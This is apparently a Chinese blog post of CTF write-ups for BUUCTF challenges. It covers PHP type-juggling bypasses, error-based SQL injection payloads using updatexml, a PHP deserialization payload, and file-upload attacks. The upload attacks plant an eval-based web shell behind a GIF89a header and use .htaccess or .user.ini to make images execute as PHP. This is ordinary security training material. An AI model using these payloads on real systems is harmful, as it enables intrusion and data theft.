4.15BUUCTF Ez_bypass,HardSQL,AreUSerialz,BabyUpload,CheckIn

[MRCTF2020]Ez_bypass

打开环境,看源码

php 复制代码
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
     $id=$_GET['id'];
          $gg=$_GET['gg'];
               if (md5($id) === md5($gg) && $id !== $gg) {
         echo 'You got the first step';
         if(isset($_POST['passwd'])) {
             $passwd=$_POST['passwd'];
             if (!is_numeric($passwd))
             {
                  if($passwd==1234567)
                  {
                      echo 'Good Job!';
                      highlight_file('flag.php');
                      die('By Retr_0');
                  }
                  else
                  {
                      echo "can you think twice??";
                  }
             }
             else{
                 echo 'You can not get it !';
             }
 
         }
         else{
             die('only one way to get the flag');
         }
 }
     else {
         echo "You are not a real hacker!";
     }
 }
 else{
     die('Please input first');
 }
 }

第一个if为强比较,使用数组可以绕过

弱类型比较(==)的安全漏洞

  • !is_numeric(passwd) 检查 passwd 是否"不是数字"(如 "123" 会被拦截,但 "123abc" 可以通过)
  • passwd == 1234567 使用 弱类型比较(==),会尝试将 passwd 转换成数字后再比较,导致非严格匹配
    使用playload:password=1234567a

[极客大挑战 2019]HardSQL

思路

遇到过它的前几版(联合查询,堆叠注入,双写绕过什么的),这次又来了

用户名输入admin,密码输入1(将密码作为注入点)

回显正常,但是密码改为1'回显不正常了

说明存在sql注入,使用联合查询看一下1' order by 3回显

这里改为2或1都是这个页面,说明存在过滤

sql注入的方法:万能密码-->联合查询-->堆叠注入-->报错注入

万能密码不行,联合查询,堆叠注入也不可以

看大佬的非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

  • 函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
  • 函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
  • 注入原理:
    (在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)局限性:查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串

做题

使用万能密码
报错注入

查询库名
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

查询表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

查询字段名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

查询前部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

查询后部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

拼接出来

flag{858aec26-847d-401e-a955-809ff510f683}

[网鼎杯 2020 青龙组]AreUSerialz

PHP反序列化题目wp

python 复制代码
<?php
class FileHandler {
    public $op = 2;  // 直接设置为字符串"2"
    public $filename = "flag.php";
    public $content;
}

$obj = new FileHandler();
$serialized = serialize($obj);
echo $serialized;
?>

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

flag{d5b95529-7a68-4c36-bbfd-83a59d312883}

[GXYCTF2019]BabyUpload

  • 上传一个1.php
    内容<?php @eval($_POST['cmd']);?>
    回显这个

    这就不能用phtml后缀名了(包含PHP代码的HTML文件,会被浏览器当做PHP代码执行)
    改一下小写为大写PHp,还是不行
  • 那就直接将后缀名改为1.jpg(图片的其他后缀名不行)内容还是刚刚的一句话木马

    还是不行,猜测对文件内容有限制,试一下不用这个<?
  • 使用
php 复制代码
GIF89a
<?php @eval($_POST["cmd"]);?>

上传成功

分析:文件上传成功了,但是jpg文件无法被当成php解析。

思路:考虑.htaccess和.user.ini配置文件控制,实现解析漏洞。

  • 上传构造的.htaccess文件
php 复制代码
AddType application/x-httpd-php .jpg#将.jpeg文件解析为php文件

抓包要修改MIME,不然上传不成功

最后使用蚁剑连接就行了

访问一下,url为http://c1a8a068-dc5e-40fa-98f8-cbddbe15e007.node5.buuoj.cn:81/upload/56c33cb01c2a29de24625c749f850027/1.jpg出现

flag{831e3969-e031-4e26-b085-38b02efd4589}

[SUCTF 2019]CheckIn

分析

直接上传2.php(<?php @eval($_POST['cmd']);?>)显示非法上传

改为2.jpg还是上传不成功,回显<?说明存在文件内容的检查

将文件内容修改一下,改为GIF89a<script language="php">eval($_POST[cmd])</script>是可以上传成功的但是要想解析就需要.htaccess文件(AddType application/x-httpd-php .jpg),这次上传不了,改了MIME还是回显不是图片,那就再在文件开头加一个图片的文件头GIF89a,上传成功

其实回显的内容已经说了是文件头检查exif_imagetype这个是php中的一个内置函数 用于判断一个给定文件的图像类型。它通过读取文件头部的特定信息来确定文件是否为图像以及具体是哪种常见的图像类型

两个文件上传完成之后,就可以用蚁剑连接了

拓展

解析文件,这道题和上一道题的解析文件都是用的是.htaccess,这里还可以用user.ini

在文件中写入GIF89a auto_prepend_file=要解析的文件名上传即可

相关推荐
大筒木老辈子5 小时前
Linux笔记---协议定制与序列化/反序列化
网络·笔记
草莓熊Lotso5 小时前
【C++】递归与迭代:两种编程范式的对比与实践
c语言·开发语言·c++·经验分享·笔记·其他
我爱挣钱我也要早睡!8 小时前
Java 复习笔记
java·开发语言·笔记
汇能感知13 小时前
摄像头模块在运动相机中的特殊应用
经验分享·笔记·科技
阿巴Jun13 小时前
【数学】线性代数知识点总结
笔记·线性代数·矩阵
茯苓gao13 小时前
STM32G4 速度环开环,电流环闭环 IF模式建模
笔记·stm32·单片机·嵌入式硬件·学习
是誰萆微了承諾13 小时前
【golang学习笔记 gin 】1.2 redis 的使用
笔记·学习·golang
DKPT14 小时前
Java内存区域与内存溢出
java·开发语言·jvm·笔记·学习
ST.J14 小时前
前端笔记2025
前端·javascript·css·vue.js·笔记
Suckerbin15 小时前
LAMPSecurity: CTF5靶场渗透
笔记·安全·web安全·网络安全